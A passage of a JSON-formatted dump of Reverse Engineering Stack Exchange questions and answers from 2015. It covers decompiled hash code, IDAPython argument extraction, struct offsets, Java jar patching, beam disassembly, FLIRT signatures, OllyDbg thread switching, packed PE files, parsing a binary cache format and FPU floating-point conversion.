LABEL_6;\n    case 9u:\nLABEL_6:\n      v15 += *(_BYTE *)(content + 8) &lt;&lt; 8;\n      goto LABEL_7;\n    case 8u:\nLABEL_7:\n      v4 += *(_BYTE *)(content + 7) &lt;&lt; 24;\n      goto LABEL_8;\n    case 7u:\nLABEL_8:\n      v4 += *(_BYTE *)(content + 6) &lt;&lt; 16;\n      goto LABEL_9;\n    case 6u:\nLABEL_9:\n      v4 += *(_BYTE *)(content + 5) &lt;&lt; 8;\n      goto LABEL_10;\n    case 5u:\nLABEL_10:\n      v4 += *(_BYTE *)(content + 4);\n      goto LABEL_11;\n    case 4u:\nLABEL_11:\n      v5 += *(_BYTE *)(content + 3) &lt;&lt; 24;\n      goto LABEL_12;\n    case 3u:\nLABEL_12:\n      v5 += *(_BYTE *)(content + 2) &lt;&lt; 16;\n      goto LABEL_13;\n    case 2u:\nLABEL_13:\n      v5 += *(_BYTE *)(content + 1) &lt;&lt; 8;\n      goto LABEL_14;\n    case 1u:\nLABEL_14:\n      v5 += *(_BYTE *)content;\n      break;\n    default:\n      break;\n  }\n  v16 = (v15 &gt;&gt; 13) ^ (v5 - v4 - v15);\n  v17 = (v16 &lt;&lt; 8) ^ (v4 - v15 - v16);\n  v18 = ((unsigned int)v17 &gt;&gt; 13) ^ (v15 - v16 - v17);\n  v19 = ((unsigned int)v18 &gt;&gt; 12) ^ (v16 - v17 - v18);\n  v20 = (v19 &lt;&lt; 16) ^ (v17 - v18 - v19);\n  v21 = ((unsigned int)v20 &gt;&gt; 5) ^ (v18 - v19 - v20);\n  v22 = ((unsigned int)v21 &gt;&gt; 3) ^ (v19 - v20 - v21);\n\n  return (((v22 &lt;&lt; 10) ^ \n           (unsigned int)(v20 - v21 - v22)) &gt;&gt; 15) ^ \n           (v21 - v22 - ((v22 &lt;&lt; 10) ^ (v20 - v21 - v22)));\n}\n</code></pre>\n\n<p>a1 is an address location\na2 is the length of the file to hash\nzero I renamed as it always sends zero for whatever reason.</p>\n\n<p>Now for the questions:</p>\n\n<ol>\n<li>First and foremost, is this a standard algorithm like CRC or\nsomething? </li>\n<li>Is there a reason for the v4 and v5 variables to be -1640531527?</li>\n<li>What is the purpose of <code>(*(_BYTE *)(content + 7) &lt;&lt; 24)</code> isn't a byte only 8 bits, so won't it be 0 every time? I looked up the order of operations and it seems that the casting is first then the bit operations, so it means it converts it to the 8th byte in the file and bit shifts it 24 bits right? why?</li>\n<li>Why are some bits signed and some unsigned, and would it change the outcome if there is a mix?</li>\n</ol>\n\n<p>Those are most of my questions, I understand it is going through all the bytes and getting a total to figure out the \"hash\" for the file, I understand that the switch case is taking care of the situation of the file not being exactly divisible by 12. I think once I understand the logic behind the bitwise operations then it will be more clear.</p>\n",
        "Title": "Hash algorithm written in C decompiled with IDA",
        "Tags": "|ida|c++|decompiler|hash-functions|crc|",
        "Answer": "<p>Just a small addition to the previous answers.<p>\nThe following shift construct, asked in 3, is a widely used way to convert a byte stream into a 32-bit integer.</p>\n\n<pre><code>   (*(_BYTE *)(content + 7) &lt;&lt; 24)\n + (*(_BYTE *)(content + 6) &lt;&lt; 16)\n + (*(_BYTE *)(content + 5) &lt;&lt; 8)\n + *(_BYTE *)(content + 4)\n\n31    24    23    16    15     8    7      0\nAAAAAAAA    BBBBBBBB    CCCCCCCC    DDDDDDDD\n  ^^^         ^^^         ^^^         ^^^\ncontent[7]  content[6]  content[5]  content[4]\n</code></pre>\n\n<p>If <code>content</code> is the address of a byte array, you can simply write </p>\n\n<pre><code>*(_BYTE *)(content+7)\n</code></pre>\n\n<p>as</p>\n\n<pre><code>content[7]\n</code></pre>\n\n<p>But of course, you should declare <code>content</code> in a different way as the decompiler did, but the decompiler see only a pointer and don't know that it is a byte array really.</p>\n"
    },
    {
        "Id": "8870",
        "CreationDate": "2015-05-11T21:54:56.743",
        "Body": "<p>Let's say I have the following function in IDA:</p>\n\n<pre><code>int __usercall function&lt;eax&gt;(char* message&lt;ebp&gt;, unsigned int count&lt;edi&gt;)\n</code></pre>\n\n<p>What's the fastest way to extract the argument information using IDAPython, such that I get the following:</p>\n\n<pre><code>[['char*', 'message', 'ebp'],['unsigned int','count','edi']]\n</code></pre>\n\n<p>Not that it also needs to handle situations like:</p>\n\n<pre><code>void *__usercall sub_4508B0@&lt;rax&gt;(void *(__usercall *function)@&lt;rax&gt;(int one@&lt;eax&gt;)@&lt;rax&gt;);\n</code></pre>\n\n<p>Which should give me something along the lines of:</p>\n\n<pre><code>[['void * ...', 'function', 'rax']]\n</code></pre>\n",
        "Title": "Extracting arguments from IDA",
        "Tags": "|ida|disassembly|idapython|python|",
        "Answer": "<p>I received an answer from HexRays support which has a solution which does not rely on parsing the C string retrieved by <code>GetType(ea)</code>.</p>\n\n<p>Let's imagine we start with a function prototype:</p>\n\n<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)\n</code></pre>\n\n<p>That's from an ELF file, x86 abi; stuff is passed on the stack.</p>\n\n<p>Then, I can do the following:</p>\n\n<pre><code>Python&gt;from idaapi import *\nPython&gt;tif = tinfo_t()\nPython&gt;get_tinfo2(here(), tif)\nTrue\nPython&gt;funcdata = func_type_data_t()\nPython&gt;tif.get_func_details(funcdata)\nTrue\nPython&gt;funcdata.size()\n3\nPython&gt;for i in xrange(funcdata.size()):\nPython&gt;    print \"Arg %d: %s (of type %s, and of location: %s)\" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())\nPython&gt;\nArg 0: argc (of type int, and of location: 1)\nArg 1: argv (of type const char **, and of location: 1)\nArg 2: envp (of type const char **, and of location: 1)\n</code></pre>\n\n<p>Note that it tells me the location type is <code>1</code>, which corresponds\nto 'stack':\n<a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html\">https://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html</a></p>\n\n<p>Now, let's assume I change the prototype to this:</p>\n\n<pre><code>.text:0804ABA1 ; int __usercall main@&lt;eip&gt;(int argc@&lt;eax&gt;, const char **argv@&lt;esp&gt;, const char **envp@&lt;edx&gt;)\n</code></pre>\n\n<p>Then:</p>\n\n<pre><code>Python&gt;get_tinfo2(here(), tif)\nTrue\nPython&gt;tif.get_func_details(funcdata)\nTrue\nPython&gt;for i in xrange(funcdata.size()):\nPython&gt;    print \"Arg %d: %s (of type %s, and of location: %s)\" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())\nPython&gt;\nArg 0: argc (of type int, and of location: 3)\nArg 1: argv (of type const char **, and of location: 3)\nArg 2: envp (of type const char **, and of location: 3)\n</code></pre>\n\n<p>Argument location type is <code>3</code> now, which corresponds to 'inside\nregister'.</p>\n\n<p>(Then, I would have to use <code>reg1()</code> to retrieve the actual\nregister number to know <em>what</em> register the argument is\npassed in)</p>\n\n<p>Credit goes to Arnaud of Hex Rays.</p>\n"
    },
    {
        "Id": "8877",
        "CreationDate": "2015-05-12T16:31:05.327",
        "Body": "<p>i have the following question:</p>\n\n<p>For example, when I have the structure </p>\n\n<pre><code>    IMAGE_SECTION_HEADER STRUCT         |   C1    |    C2      \n    Name1                     BYTE      |   +0    |    +0\n    union Misc                          |\n        PhysicalAddress       DWORD     |    2    |     2\n        VirtualSize           DWORD     |    6    |\n    ends                                |\n    VirtualAddress            DWORD     |    10   |     6\n    SizeOfRawData             DWORD     |    14   |     10\n    PointerToRawData          DWORD     |    18   |     14\n       ...(etc.)\n</code></pre>\n\n<p>Then how I must count the offsets? The columns C1 and C2 represent my solutions but i am not sure which of the two is right or if both are wrong.\nDo I have to consider the union in the structure as 1 field, or do I need to consider its fields separately?</p>\n\n<p>best regards, </p>\n",
        "Title": "Counting offsets of structure fields",
        "Tags": "|struct|",
        "Answer": "<p>A union is a list of fields <em>starting at the same address in memory</em> (except for bitfields, of course). Its size is at least the size of the largest field in it. In your case, it would be 4 bytes.</p>\n\n<p>Note that, like structs, the size can be bigger due to alignment requirements. For example, take this C union:</p>\n\n<pre><code>union MyUnion {\n    char a[5];\n    int b;\n};\n</code></pre>\n\n<p>The <code>a</code> fields is 5 bytes, <code>b</code> is 4. You would expect the union to be 5 bytes, but, as you can check with <code>sizeof(union MyUnion)</code>, it is actually 8. This is because <code>int</code>s are aligned to a 4-byte boundary. Similiarly, <code>short</code>s are aligned to 2 bytes and <code>double</code>s to 8. <a href=\"http://goo.gl/yzwlrX\" rel=\"nofollow\">Try it on CodingGround</a>.</p>\n\n<p>You may be asking yourself: why does the compiler align the union <em>size</em>? Isn't aligning the <em>starting address</em> enough? It could well keep the size of <code>MyUnion</code> to 5 and align the start to a 4-byte boundary for the int. The problem comes when you have an array of the union. An array needs to be a <em>contiguous</em> block of memory because of how array and pointer arithmetic works. Given a generic <code>T array[]</code> you have that <code>array[i] == *(array + i) == *((T *) (((char *) array) + i * sizeof(T)))</code>. In the example case, <code>MyUnion</code> has a 4-byte alignment requirement (the largest aligment in the union). If you have a <code>MyUnion array[]</code>, the starting address will be 4-byte aligned because of the int. This means that <code>array[0]</code> will be correctly aligned. But if the size of the union is 5, then <code>array[1]</code> will be at a 5 bytes offset from the starting address. This is not 4-byte aligned! Aligning the union size to 8 bytes puts <code>array[1]</code> to a 8 bytes offset, which is 4-bytes aligned. Aligning the size by padding the union allows the array to be contiguous while keeping everything aligned.</p>\n\n<p><strong>Bottom line:</strong></p>\n\n<p><strong>In a union (or a struct), both the <em>starting address</em> and the <em>size</em> are aligned to the biggest alignment requirement of the fields.</strong></p>\n\n<p>Of course, alignment requirements may vary between compilers and architectures. Keep that in mind.</p>\n\n<p>Neither C1 nor C2 is correct as far as I can see, since the first field is a byte and not two:</p>\n\n<pre><code>IMAGE_SECTION_HEADER STRUCT         |w/o align| aligned |\nName1                     BYTE      |   +0    |   +0    |\nunion Misc                          |   +1    |   +4    |\n    PhysicalAddress       DWORD     |         |         |\n    VirtualSize           DWORD     |         |         |            \nends                                |         |         |\nVirtualAddress            DWORD     |   +5    |   +8    |\nSizeOfRawData             DWORD     |   +9    |   +12   |\nPointerToRawData          DWORD     |   +13   |   +16   |\n   ...(etc.)\n</code></pre>\n"
    },
    {
        "Id": "8890",
        "CreationDate": "2015-05-14T07:27:30.973",
        "Body": "<p>I was debugging a Windows Store app, wwahost.exe does a NdrClientCall2 - \nTWINAPI!PsmApp_StubDesc.\npsmsrv.dll registered the endpoint by dcomlaunch svchost.exe.\nWhat would be reasons of a NdrClientCall2 to fail ?\n How do I debug further?</p>\n\n<p>NdrpClientUnMarshal call fails with 3. What does this api do ?</p>\n",
        "Title": "NdrClientCall2 fails with STATUS_OBJECT_NAME_NOT_FOUND",
        "Tags": "|windows|debugging|windows-8|",
        "Answer": "<blockquote>\n  <p>How do I debug further?</p>\n</blockquote>\n\n<p>See <a href=\"https://reverseengineering.stackexchange.com/questions/8116/at-the-rpcrt4ndrclientcall2-function-how-does-it-know-which-pipe-to-use-in-or\">this post</a> for instructions on debugging the server-side code executed by the <code>NdrClientCall2()</code> function.</p>\n\n<blockquote>\n  <p>NdrpClientUnMarshal call fails with 3. What does this api do ?</p>\n</blockquote>\n\n<p>It <a href=\"http://en.wikipedia.org/wiki/Marshalling_%28computer_science%29\" rel=\"nofollow noreferrer\">unmarshals (deserializes)</a> the data returned by the RPC call.</p>\n"
    },
    {
        "Id": "8891",
        "CreationDate": "2015-05-14T07:36:31.420",
        "Body": "<p>Normally I'm working with firmwares and native code executables, patching small things like constants, jump conditions etc. There I'm using IDA's disassembly to analyse what and where to patch.\nWith Java bytecode I would tend to use the decompiled code from a tool like jd-gui for analysing what to patch. But for actually changing anything I would need a connection between the decompiled code and the bytecode.\nIs there a tool that can show this </p>\n",
        "Title": "Workflow patching Java jar file",
        "Tags": "|disassembly|decompilation|java|patching|",
        "Answer": "<ol>\n<li>Use <a href=\"http://jd.benow.ca/\" rel=\"nofollow\">JD-GUI</a> to examine the jar file</li>\n<li>Unpack the jar file\n<ul>\n<li><code>jar -xf yourapp.jar</code> </li>\n</ul></li>\n<li>Modify the .class file with a Java Bytecode Editor\n<ul>\n<li>Use <a href=\"http://set.ee/jbe/\" rel=\"nofollow\">Java Bytecode Editor (JBE)</a>    </li>\n</ul></li>\n<li>Repack the modified classes into new archive file\n<ul>\n<li><code>jar -cvf yourapp_patched.jar *.*</code></li>\n</ul></li>\n</ol>\n\n<p><a href=\"https://blog.netspi.com/patching-java-executables-the-easy-way/\" rel=\"nofollow\">Credits for this particular solution to Khai Tran @ NetSPI</a></p>\n"
    },
    {
        "Id": "8895",
        "CreationDate": "2015-05-15T08:58:08.953",
        "Body": "<p>I have an app that use erlang .beam compiled files without debugging information.\nSomeone have some tips how to decompile or reverse engineering these?</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "Decompile erlang .beam files compiled without debug_info",
        "Tags": "|patch-reversing|erlang|",
        "Answer": "<p>You can get low-level bytecode source of .beam file with <strong>beam_disasm:file(module_name)</strong></p>\n\n<p>It's not easy to read it and takes time to figure it out. But it's much verbose and easier to comprehend than any real hardware assembly code. You can give it a try.</p>\n\n<p>For example, if you have a .beam file called \"my_module.beam\", open <em>erl</em> and type </p>\n\n<pre><code>file:write_file(\"/tmp/my_module_disasm\", io_lib:fwrite(\"~p.\\n\", [beam_disasm:file(my_module)])).\n</code></pre>\n\n<p>where <em>'/tmp/my_module_disasm'</em> is the path where you want to save the result.</p>\n"
    },
    {
        "Id": "8897",
        "CreationDate": "2015-05-15T12:42:30.973",
        "Body": "<p>I'd like to create a IDA FLIRT signature for the following PPC uClibc library:</p>\n\n<pre><code>libuClibc-0.9.15.so: ELF 32-bit MSB shared object, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, for GNU/Linux 2.0.0, stripped\n</code></pre>\n\n<p>I got the FLAIR tools from hex-rays but didn't manage to create the .sig file.\nIf I understood correctly, a <code>.pat</code> file must be created first, from which a <code>.sig</code> file can be created then. I tried <code>./pelf.exe libuClibc-0.9.15.so</code>, but this only returned an 'invalid input file' error.</p>\n\n<p>How can I create a FLIRT signature from this library?</p>\n",
        "Title": "How to create a IDA FLIRT signature for a PPC library?",
        "Tags": "|ida|tools|elf|static-analysis|flirt-signatures|",
        "Answer": "<p>AFAIK, you can only create the <code>.pat</code> files from statically linked libraries using the method you describe. It appears your file is dynamically linked (that would explain the 'invalid input file' message)</p>\n\n<p>You can give a try to <a href=\"https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py\" rel=\"nofollow\">this IDAPython plugin</a>. A good explanation from its author can be found <a href=\"https://www.fireeye.com/blog/threat-research/2015/01/flare_ida_pro_script.html\" rel=\"nofollow\">here</a></p>\n\n<p>Good luck!</p>\n"
    },
    {
        "Id": "8899",
        "CreationDate": "2015-05-15T14:51:07.947",
        "Body": "<p>How can I search for a sequence of instructions in IDA Pro? </p>\n\n<p>I did manage to search for a single instruction using text search string <code>li.*r4.*-1</code> (for instruction <code>li r4, -1</code>), but I failed to match multiple instructions or newline character. </p>\n\n<p>It seems to be possible to this by using the binary search, but this requires converting the assembly to the corresponding binary opcodes. </p>\n",
        "Title": "Searching for a sequence of instructions in IDA Pro",
        "Tags": "|ida|static-analysis|",
        "Answer": "<p>If you have a fixed set of instructions you are search for eg:</p>\n\n<pre><code>li  r4,0\nli  r5,16\nli  r6,32\n</code></pre>\n\n<p>Assuming you already have one location found, you can look in the binary hex view, and find the byte pattern you want and use that in a binary search, just make sure you write each byte with a space between them like <code>01 02 03 04</code> so IDA treats them as a sequence of bytes, not as a word/int type search.</p>\n\n<p>If you have a regex like soft match like</p>\n\n<pre><code>slwi r0,r3,2\nadd r4,r4,r0\n</code></pre>\n\n<p>but you don't know <code>r4</code> will be the register used, but know it will be this pattern of <code>slwi</code> and <code>add</code> then I'd write a script (IDC or python) that searches using a text search for outer clause, and then checks for the next instruction to match the expected test, or move to next outer clause.</p>\n\n<p>So the following idc file/code does the outer loop (I was using it to find address offsets that where not set to references), but it might be a good starting base to work from</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic fixAllOffsets( strtext)\n{\n    auto ea, offset;\n    auto last;\n    Message(\"Start\\n\");\n    ea = FindText(0x100000, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);\n    last = 0;\n    while( ea != BADADDR &amp;&amp; ea != last)\n    {\n        Message(\"%a\\n\", ea);\n\n        // INSERT you next line checks here\n\n        last = ea;\n        ea = FindText(ea+6, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);\n    }\n    Message(\"End\\n\");\n}\n\nstatic main() \n{\n    fixAllOffsets( \"0x9[EF][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]\" );\n}\n</code></pre>\n"
    },
    {
        "Id": "8909",
        "CreationDate": "2015-05-16T14:48:08.907",
        "Body": "<p>I was analyzing a sample and the function <code>CreateRemoteThread</code> is called with <code>dwCreationFlag = 0</code>, so the created thread starts immediately after creation.\nOllyDbg jumps to beginning of the new thread. I analyze the new thread and at the end of that, it calls <code>RtlExitUserThread</code> and the thread is terminated.</p>\n\n<p>To visualize, you can consider the following:</p>\n\n<pre><code>  PUSH EAX                              ; dwCreationFlag = 0\n     .\n     .\n     .\n  CALL DWORD PTR SS:[EBP-28]           ; CreateRemoteThread\n     .\n  (lines which I would also like to analyze)\n</code></pre>\n\n<p>As I described, the new thread starts and it ends with a call to <code>RtlExitUserThread</code> but I would like to analyze the lines after the call to <code>RtlExitUserThread</code>.</p>\n\n<p>How can I go back to the main thread, because there was a lot of lines to analyze (after the call to <code>CreateRemoteThread</code>)?</p>\n",
        "Title": "How to go back to main thread?",
        "Tags": "|ollydbg|thread|",
        "Answer": "<p>Right Click within the Disassembler window -> <em>Select thread</em> -> Click <em>Main thread</em></p>\n\n<p>Here is an image for reference.\n<img src=\"https://i.stack.imgur.com/X6ANZ.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "8910",
        "CreationDate": "2015-05-16T15:16:06.017",
        "Body": "<p>I'm new to reverse engineering, so maybe it's an easy question but not for me).\nI've got .exe file which is somehow packed.\nWhen I open it with IDA, I got warning that file was packed or modified, and lots of problems, such \"sp-analysis failed\" and virtual addresses pointed to nowhere. IDA Unpacker plugin swamps me with warnings.\nI tried to analyse HEADER. Sections have wrong bounds: pointer to raw data and size of raw data seems correct, but some virtual addresses IDA cannot resolve, and in \"Program Segmentation\" window some sections are missed. Most of instruction in file looks like this:</p>\n\n<pre><code>___:00401000                 dd 9D3DBCCBh, 0DB7776EAh, 1F6BE17Bh, 0ADFBB803h, 4673D4B7h\n___:00401000                 dd 903ADB7Ch, 0B03DACBAh, 0CA4C9D26h, 0ECFF17BBh, 0AFC80EE6h\n___:00401000                 dd 0AE3EAEA3h, 5C244E1Ch, 8F68FA9Bh, 5671677Eh, 8C3CEC8Fh\n___:00401000                 dd 0F56291C8h, 3D050237h, 9543FF95h, 0DA02686Ch, 6BB1A7EBh\n___:00401000                 dd 32F012EAh, 99D0F3D3h, 8A8E08A5h, 1280ECB4h, 4B4ACACEh\n___:00401000                 dd 0FFB892h, 5E01507Bh, 94087230h, 969DCCDBh, 8DD0AB9Bh\n</code></pre>\n\n<p>So what would be right approach? Should I create segments manual, and somehow say IDA to interpret it as code/data, or analyse entry point and \"start\" function that IDA found (with sp-analyse problem at the end)? Or it's better to try make IDA Unpacker plugin work?</p>\n",
        "Title": "Packed PE-file, where to start?",
        "Tags": "|ida|pe|unpacking|",
        "Answer": "<p>Well, if the packed program executes itself from a virtual environment, things are very difficult. You have to start with the call stack window of ollydbg. Try to find there in which address does it point the packer and go backwards untill you find the Original Entry Point. Then you can use the PE editors to track and remove the packer. Sounds plain sail and not really helpful, i know, but that's how it usually works... I am not very experienced, too, but i 've spent some time over manual unpacking. Wish you luck!</p>\n"
    },
    {
        "Id": "8920",
        "CreationDate": "2015-05-17T11:55:32.527",
        "Body": "<p>I'm trying to find a way how I can read the textbox inside the idle. The Idle is (I think) written in python (Tkinter ?).</p>\n\n<p>I have tried to find the function which reads the textbox.text through checking the exports function inside the tk85.dll but I coudn't find it.\nA normal windows exe would be easier since I have to search for <code>GetDlgItemText()</code>. But how I can done something like this with python written code :O</p>\n\n<p><img src=\"https://i.stack.imgur.com/1QdvG.png\" alt=\"enter image description here\"></p>\n",
        "Title": "How I can get the text with c# from Tkinter (python) window?",
        "Tags": "|ollydbg|python|",
        "Answer": "<p>After lots of research I have found an option:\n<a href=\"http://jonathonreinhart.blogspot.de/2012/12/named-pipes-between-c-and-python.html\" rel=\"nofollow\">Python C# Pipe</a></p>\n\n<p>It creates a temp file where I then can communicate between Python and C#. So I can now write an extension for the idle which will get the text inside the tkinter textbox and sends it to my c# wpf window :)</p>\n"
    },
    {
        "Id": "8930",
        "CreationDate": "2015-05-19T06:36:37.487",
        "Body": "<p>I'm trying to decode this binary file which is from a cache.  All I want is the playlist metadata.  I am getting some of it using a simple hex viewer, but the majority of the information is random ascii.  Is this because there is a bit offset that isn't being accounted for?  Or is there something more complicated going on such as hashing or encryption?</p>\n",
        "Title": "Decoding binary - basics",
        "Tags": "|binary-analysis|hex|binary|",
        "Answer": "<p>One of the close reasons on Reverse Engineering is:</p>\n\n<blockquote>\n  <p>Questions asking for help reverse-engineering a specific system are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.</p>\n</blockquote>\n\n<p>... and you don't appear to understand the \"concepts involved\". This is because I asked for a \"binary\", and you posted a paste bin link that starts like this:</p>\n\n<pre><code>00000000 11011010 11110111 11101111 00101111 01001100 00000000 11011010 11110111 11101111 00101111 00110000 11010011 10101010 00000001 00001001\n00000100 01100110 01110010 01100101 01100101 00000001 00000111 01110000 01110010 01100101 01101101 01101001 01110101 01101101 00000001 00000111\n(1998 similar lines omitted)\n</code></pre>\n\n<p>A 'binary', in the context of Reverse Engineering, is an <em>original file</em>. As it is in binary, before you can parse it, you have to know the exact file format, which seems to be not documented. A cursory search for the first few bytes lead to nothing (if they <em>were</em> known, they could indicate a <a href=\"https://reverseengineering.stackexchange.com/questions/6012/is-the-magic-number-important\">magic number</a> for this particular file type).</p>\n\n<p>But all is not lost yet. After converting the (*cough*) binary to a real file again and inspecting it with <a href=\"http://www.suavetech.com/0xed/\" rel=\"nofollow noreferrer\">a simple hex viewer</a>, I noticed plain text strings, where the byte immediately before it indicated the length of that text string. Further examination - looking at the values immediately <em>following</em> the text strings - indicated there is at least a single other byte <em>before</em> the length/data sequences. Not all data are plain text, but that was enough to quickly make up a C program and display what could be read.</p>\n\n<p>All the program initially did was read two bytes, show them, and then display <em>n</em> characters that immediately follow. I let the program start at a 'reasonable' position, further up in the file, because the first few entries did not seem to follow the exact same format.</p>\n\n<p>This was okay for the very first entry (I got a few lines of data <em>and</em> a text string), but right after that it got lost and didn't display anything useful. Careful examination of the 'failure point' showed that at least one value was special: hex <code>78</code>, followed by another number, did not indicate that the second number was a data length. So I treated that as a special case: 'no data', and looped on with the rest.</p>\n\n<p>For the first 65 entries this went okay-ish: a regular list of raw data, text string, followed by 4 other lists of raw data. Only after that, the same problem appeared again: the list went 'out of sync' and displayed gibberish again. Further examination showed another problematic type byte: <code>08</code>. This seems to have <em>two</em> bytes of fixed data. When I treated that as a special case as well, I got loads more useful output.</p>\n\n<p>At that point I stopped, because the general idea was clear. I found it not worth looking further into what the 'raw' data bytes mean, because they do not clearly indicate 'time stamps' or 'song lengths'. The first set of 16 bytes may indicate a hash or an encryption key; the 4 other sets, all 20 bytes, could be the data you are looking for - but they are not in a regular format.</p>\n\n<p>I skipped the first 70 or so bytes because I did not immediately could see what they were for \u2013 I strongly suspect they contain metadata about the list itself (its number of entries, for example).</p>\n\n<p>Note that the 'text strings' are encoded using UTF8. The 'unknown' characters in</p>\n\n<pre><code>\"Skrillex and Diplo present Jack [c3][9c]\"\n</code></pre>\n\n<p>is actually a regular encoding of \"Jack \u00dc\", which is \"an American DJ duo, side group and collaborative project\" (<a href=\"http://en.wikipedia.org/wiki/Jack_%C3%9C\" rel=\"nofollow noreferrer\">source</a>). Recognizing 'regular' data sequences such as these is an acquired skill (and verifying that the interpretation is valid is plain common sense; it is only a quick Wikipedia lookup).</p>\n\n<p>Without further a-do, I wrote up the following C program in less time than it took to write this post.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main (void)\n{\n    FILE *f = fopen (\"spotify.bin\", \"rb\");\n    int i,type,len;\n\n    if (!f)\n    {\n        printf (\"no file?\\n\");\n        return 0;\n    }\n\n    fseek (f, 0x45, SEEK_SET);\n\n    do\n    {\n        type = fgetc(f);\n        if (type == EOF)\n            break;\n        type &amp;= 0xff;\n        len = fgetc(f) &amp; 0xff;\n\n        printf (\"type %02X len %02X: \", type, len);\n        switch (type)\n        {\n            case 0x08:\n                i = fgetc(f);\n                printf (\" %02X\", i &amp; 0xff);\n                printf (\"\\n\");\n                break;\n            case 9:\n                printf (\"\\\"\");\n                while (len--)\n                {\n                    i = fgetc(f);\n                    if (i &gt;= ' ' &amp;&amp; i &lt;= '~')\n                        putchar (i);\n                    else\n                        printf (\"[%02x]\", i &amp; 0xff);\n                }\n                printf (\"\\\"\\n\");\n                break;\n            case 0x78:\n                printf (\"\\n\");\n                break;\n            default:\n                while (len--)\n                {\n                    i = fgetc(f);\n                    printf (\" %02X\", i &amp; 0xff);\n                }\n                printf (\"\\n\");\n        }\n    } while (1);\n\n    return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "8938",
        "CreationDate": "2015-05-19T23:00:14.983",
        "Body": "<p>So im working on an crackme and came across a couple of FPU loads and pops that confused me.</p>\n\n<p>Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stack</p>\n\n<p>but when put on the CPU stack its value is changed to </p>\n\n<pre><code>CPU Stack\nLocked    Value      ASCII Comments\n0028FB38  |D2000000     \u00d2\n0028FB3C  |41EFDAC6  \u00c6\u00da\u00efA\n</code></pre>\n\n<p>Why?</p>\n\n<p>Here is the code with some comments:</p>\n\n<pre><code>main    00401696    PUSH EAX                                EAX=FED63690\nmain    00401697    FILD QWORD PTR SS:[LOCAL.268]           Loads the FED63690 as a 64 bit value so -&gt; 00000000_FED63690\nmain    0040169A    LEA ESP,[LOCAL.266]                     ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)\nmain    0040169E    FSTP QWORD PTR SS:[LOCAL.260]           POPS 80 bit value of ST0 onto program stack as 64 bit   \n\n        LOCAL.260 is address 0028FB38\n\n        Stack now looks like:\n\n        CPU Stack\n        Locked    Value      ASCII Comments\n        0028FB38  |D2000000     \u00d2\n        0028FB3C  |41EFDAC6  \u00c6\u00da\u00efA\n\n\nmain    004016A4    FLD QWORD PTR SS:[LOCAL.260]            Loads value onto FPU Stack so -&gt; ST0=4275451536.0000000000 (Same as before)\nmain    004016AA    FSTP QWORD PTR SS:[LOCAL.264]           &lt;%i&gt; = -771751936.       POPS 80 bit value of ST0 onto program stack as 64 bit\n\n        LOCAL.260 is address 0028FB28\n\n        Stack now looks like:\n\n        CPU Stack\n        Locked    Value      ASCII Comments\n        0028FB28  |D2000000     \u00d2\n        0028FB2C  |41EFDAC6  \u00c6\u00da\u00efA\n\n\nmain    004016AE    MOV DWORD PTR SS:[LOCAL.265],00401469   Format =&gt; \"%i\"\nmain    004016B6    LEA EAX,[LOCAL.194]             \nmain    004016BC    MOV DWORD PTR SS:[LOCAL.266],EAX        s =&gt; OFFSET LOCAL.194\nmain    004016BF    CALL &lt;JMP.&amp;msvcrt.sprintf&gt;          \n\n        Result is:\n\n        s=\"-771751936\"\n</code></pre>\n",
        "Title": "Trouble understanding change in number when popped from FPU to CPU Stack",
        "Tags": "|stack-variables|",
        "Answer": "<p><strong>4275451536</strong> is greater than <code>2^31</code> <strong>(2147483648)</strong> but less than <code>2 ^32</code> <strong>(4294967296)</strong><br>\nso it is represented as <code>2^31  +  ( 2 ^31 *  ((4275451536 - 2 ^31 ) / 2^31)</code><br>\nie <code>2^31 * 1.990912266075611114501953125</code>   </p>\n\n<p>exponent is always written with bias (1023 for 64 bit precision) added to it  so <strong>1054 = 0x41e</strong>     </p>\n\n<p>fractional part can be written as <code>1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64  ..... 1/2 ^n</code></p>\n\n<pre><code>0.984375     &lt; 0.990912266075611114501953125 &lt; 0.9921875\n\n(1/2+...+1/64) &lt;   -------                     &lt; (1/2+....+ 1/128)\n 111111\n</code></pre>\n\n<p>mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly </p>\n\n<p>a c src that shows the conversion of your specific decimal is shown below</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#define BIAS 1023\nint main(void) {\n    char binform[100] = {0};\n    unsigned long a = 4275451536;\n    _ultoa_s(a%2,&amp;binform[0],4,10);\n    a = a/2;\n    int i = 1;\n    while (a&gt;2) {\n        a = a/2;\n        _ultoa_s(a%2,&amp;binform[i++],4,10);\n    }\n    char paddedstr[100] = {0};\n    sprintf_s(paddedstr,100,\"%s0000000000000000000000\",_strrev(binform));\n    printf(\"%x-%I64x\\n\",i+BIAS,_strtoui64(&amp;paddedstr[1],0,2));\n}\n</code></pre>\n\n<p>on execution the results are</p>\n\n<pre><code>&gt;F2H.exe\n41e-fdac6d2000000\n</code></pre>\n"
    },
    {
        "Id": "8942",
        "CreationDate": "2015-05-20T23:21:05.570",
